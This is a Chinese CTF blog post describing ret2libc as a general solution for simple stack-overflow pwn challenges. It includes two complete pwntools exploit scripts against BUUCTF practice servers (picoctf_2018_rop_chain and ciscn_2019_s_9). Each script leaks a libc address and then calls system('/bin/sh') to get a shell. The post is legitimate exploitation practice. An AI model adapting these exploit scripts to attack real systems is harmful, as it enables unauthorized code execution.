部分题目的通解:ret2libc

简介

在面对部分题目时,ret2libc可以作为通用解法,这类题目多为一些简单的后门函数、shellcode。

这些题目大多具有共同的特点:

1 思路简单,代码量很少,容易发现溢出点,容易分析

2 但真正想要实现ret2shellcode或者后门函数,需要一些技巧(比如泄露栈地址等),难以第一时间想到

3 必须是动态链接文件(通过file查看)

4 最好是没有开启PIE和canary的程序

此时,在发现溢出点后,即可直接考虑ret2libc拿到shell,不用再继续进行复杂的分析和技巧考虑

例1:BUUCTF-picoctf_2018_rop_chain

具体分析见:BUUCTF题解:picoctf_2018_rop_chain
现在提供一个ret2libc的解法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *
context(os="linux",arch="x86",log_level="debug")
targetELF="./pwn"
elf=ELF(targetELF)
# ioTube=process(targetELF)
#ioTube=gdb.debug(targetELF,"b *0x4006a4")
ioTube=remote("node5.buuoj.cn",27661)

offset=28
pltAddr=elf.plt["puts"]
leakFuncName="__libc_start_main"
gotAddr=elf.got[leakFuncName]
startAddr=elf.symbols["_start"]

ioTube.recvuntil("Enter your input> ")
payload1=b'a'*offset+p32(pltAddr)+p32(startAddr)+p32(gotAddr)
ioTube.sendline(payload1)
realAddr=u32(ioTube.recv(4).ljust(4,b'\x00'))
print("泄露真实地址={}\n".format(hex(realAddr)))
libc=LibcSearcher(leakFuncName,realAddr)
libcBase=realAddr-libc.dump(leakFuncName)
print("泄露得到真实地址={},libc基址={}\n".format(hex(realAddr),hex(libcBase)))
sysAddr=libcBase+libc.dump("system")
binshAddr=libcBase+libc.dump("str_bin_sh")

payload2=b'1'*offset+p32(sysAddr)+p32(0)+p32(binshAddr)
ioTube.recvuntil("input> ")
ioTube.sendline(payload2)
ioTube.interactive()

例2:BUUCTF-ciscn_2019_s_9

具体分析见:BUUCTF题解:ciscn_2019_s_9
这道题同样存在ret2libc的解法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *
context(os="linux",arch="x86",log_level="debug")
targetELF="./pwn"
libcPath="/lib/i386-linux-gnu/libc.so.6"
elf=ELF(targetELF)
#ioTube=process(targetELF)
#ioTube=gdb.debug(targetELF,"b *0x4006a4")
ioTube=remote("node5.buuoj.cn",29656)

offset=0x24
retAlignPadding=0x8048342
pltAddr=elf.plt["puts"]
leakFuncName="puts"
gotAddr=elf.got[leakFuncName]
startAddr=elf.symbols["_start"]

ioTube.recvuntil(">\n")
payload1=b'a'*offset+p32(pltAddr)+p32(startAddr)+p32(gotAddr)
ioTube.sendline(payload1)
ioTube.recvuntil("bye~\n")
realAddr=u32(ioTube.recv(4).ljust(4,b'\x00'))
libc=LibcSearcher(leakFuncName,realAddr)
libcBase=realAddr-libc.dump(leakFuncName)
print("泄露得到真实地址={},libc基址={}\n".format(hex(realAddr),hex(libcBase)))
sysAddr=libcBase+libc.dump("system")
binshAddr=libcBase+libc.dump("str_bin_sh")

payload2=b'1'*offset+p32(sysAddr)+p32(0)+p32(binshAddr)
ioTube.recvuntil(">\n")
ioTube.sendline(payload2)
ioTube.interactive()

部分题目的通解:ret2libc
http://0x4a-210.github.io/2025/07/27/pwn刷题记录/其他技巧类/部分题目的通解:ret2libc/
Posted on
July 27, 2025
Licensed under